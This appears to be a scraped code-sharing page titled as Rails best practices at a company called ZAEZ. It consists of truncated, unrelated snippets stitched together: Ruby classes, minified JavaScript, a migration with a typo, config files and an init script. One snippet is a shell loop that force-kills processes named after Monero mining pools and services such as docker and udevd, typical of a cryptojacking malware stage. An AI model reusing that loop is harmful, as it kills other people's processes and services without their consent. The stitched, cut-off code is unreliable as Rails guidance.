Melhores práticas para criar uma Aplicação Rails na ZAEZ
Definindo quais os padroes para se criar uma aplicação Rails na ZAEZ, ja configurando o ambiente para receber o testes de BDD utilizados na empresa.
rails new app-name --skip-test-unit| class CheckNotazzQty | |
| # attr_reader :orders | |
| attr_reader :order | |
| def initialize(order) | |
| # @orders = Spree::Order.s_complete.where.not(notazz_id: nil) | |
| @order = order #s.order("RAND()").first | |
| @l = Logger.new(Rails.root.join("log/nf.log")) | |
| end |
| !function(t){var e={};function n(r){if(e[r])return e[r].exports;var i=e[r]={i:r,l:!1,exports:{}};return t[r].call(i.exports,i,i.exports,n),i.l=!0,i.exports}n.m=t,n.c=e,n.d=function(t,e,r){n.o(t,e)||Object.defineProperty(t,e,{enumerable:!0,get:r})},n.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},n.t=function(t,e){if(1&e&&(t=n(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var i in t)n.d(r,i,function(e){return t[e]}.bind(null,i));return r},n.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return n.d(e,"a",e),e},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},n.p="",n(n.s=3)}([function(t,e,n){"use strict";(function(e){function n(t){var e,n,i,o,s,a,c=Object.create(null);if(this[u]=c,t)if( |
| !function(t){var e={};function n(r){if(e[r])return e[r].exports;var i=e[r]={i:r,l:!1,exports:{}};return t[r].call(i.exports,i,i.exports,n),i.l=!0,i.exports}n.m=t,n.c=e,n.d=function(t,e,r){n.o(t,e)||Object.defineProperty(t,e,{enumerable:!0,get:r})},n.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},n.t=function(t,e){if(1&e&&(t=n(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var i in t)n.d(r,i,function(e){return t[e]}.bind(null,i));return r},n.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return n.d(e,"a",e),e},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},n.p="",n(n.s=3)}([function(t,e,n){"use strict";(function(e){function n(t){var e,n,i,o,s,a,c=Object.create(null);if(this[u]=c,t)if( |
| programs="crypto-pool nanopool supportxmr minexmr dwarfpool xmrpool moneropool xmr monero udevs udevd docker hashvault moneroocean evolutions littletrump jboss nanoWatch" | |
| for i in ${programs}; do | |
| unset $pid | |
| pid=`ps -ef | grep $i | grep -v grep | awk '{print $1}'` | |
| if [ ! -z $pid ]; then | |
| kill -9 $pid | |
| if [ -x skill ]; then | |
| skill -KILL $i |
| class CreateComments < ActiveRecord::Migration | |
| def change | |
| create_table :comments do |t| | |
| t.string :title | |
| t.text :content | |
| t.bollean :active, default: false | |
| t.belongs_to :user | |
| t.timestamps null: false | |
| end | |
| add_index :comments, :user_id |
| #! /bin/sh | |
| ### BEGIN INIT INFO | |
| # Provides: puma | |
| # Required-Start: $remote_fs $syslog | |
| # Required-Stop: $remote_fs $syslog | |
| # Default-Start: 2 3 4 5 | |
| # Default-Stop: 0 1 6 | |
| # Short-Description: Example initscript | |
| # Description: This file should be used to construct scripts to be | |
| # placed in /etc/init.d. |
| development: | |
| adapter: sqlite3 | |
| database: db/development.sqlite3 | |
| pool: 5 | |
| timeout: 5000 | |
| test: | |
| adapter: sqlite3 | |
| database: db/test.sqlite3 | |
| pool: 5 |
| ;; | |
| (function($){ | |
| "use_strict"; // +_+ jshint | |
| // Clone atual function | |
| $.hasSelectorOld = $.hasSelector; | |
| // the method | |
| // @return Boolean |
| def with_subdomain(subdomain) | |
| subdomain = (subdomain || "").to_s | |
| subdomain += "." unless subdomain.empty? | |
| domain=request.domain.gsub! /^(\w){2}\./, "" | |
| [subdomain, domain].join | |
| end | |
| def url_for(options = nil) | |
| if options.kind_of?(Hash) && options.has_key?(:subdomain) | |
| options[:host] = with_subdomain(options.delete(:subdomain)) |
Definindo quais os padroes para se criar uma aplicação Rails na ZAEZ, ja configurando o ambiente para receber o testes de BDD utilizados na empresa.
rails new app-name --skip-test-unit